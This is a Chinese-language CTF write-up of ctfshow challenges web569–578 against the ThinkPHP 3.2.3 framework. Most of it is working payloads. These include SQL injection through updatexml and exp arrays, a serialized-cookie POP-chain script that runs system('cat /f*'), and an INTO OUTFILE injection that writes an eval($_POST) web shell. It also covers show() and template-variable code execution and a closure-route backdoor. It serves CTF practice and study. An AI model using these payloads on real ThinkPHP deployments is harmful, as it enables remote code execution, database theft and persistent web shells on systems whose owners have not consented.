TP3.23完全开发手册
web569(pathinfo的运用)
TP3.2.3开发手册-URL模式 入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:
http://serverName/index.php/模块/控制器/操作
payload:
http://serverName/index.php/Admin/Login/ctfshowLogin
web570(闭包路由后门)
审计提供的Application文件 这里详情TP3.2.3开发手册-闭包支持
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);
web571(show方法导致的命令执行)
看了师傅们写的wp自己测试了下 将附件的Application替代thinkphp3.23里面的Application 先看下效果 接下来就是找下原理 我们要分析一下show这个函数的走向,在vscode上下断点
然后访问
http://127.0.0.1/thinkphp3.23/index.php/Home/Index/index?n=<?php phpinfo();?>
我们传的参数n是content变量 先进入show函数->display函数->fetch函数->eval函数执行content
web572(debug模式访问log文件)
默认情况是debug模式下会记录日志,因此如果没有限制访问目录就容易出现文件泄露 且这个日志文件的命令规律是:年_月_日.log且日志文件是在\Application\Runtime\Logs\目录下的
payload:
http://serverName/Application/Runtime/Logs/Home/21_11_23.log
bp爆破日志文件 发现后门可以直接rce
web573(find方法引起的SQL注入)
ThinkPHP3.2.3代码审计【find方法引起的SQL注入】
payload:
http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)
http://serverName/index.php?id[where]=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)
web574(ThinkPHP 3.2.3的SQL注入)
http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select flag4s from flags)),1)
http://serverName/index.php?id=1 and updatexml(1,make_set(3,'~',(select right(flag4s,24) from flags)),1)
web575(ThinkPHP v3.2反序列化POP链)
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链 羽师傅分析的很详细 源码:
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
show()函数可以执行php代码 可以直接构造一个类 貌似群主考察的不是这个点 payload:
<?php
namespace Home\Controller{
class IndexController {
public $id='1';
public $username='<?php system("cat /f*");?>';
}
}
namespace{
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
?>
传参?id=1 然后改user的cookie
web576(ThinkPHP v3.2注释注入)
当我们传入id=1时最终的sql语句为select * from users where id=1 limit 1 /* 1*/ 构造payload:
?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*
web577(exp注入)
复现 payload:
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
web578(模板变量覆盖)
payload:
?name[_content]=<?php system('cat /f*');?>
|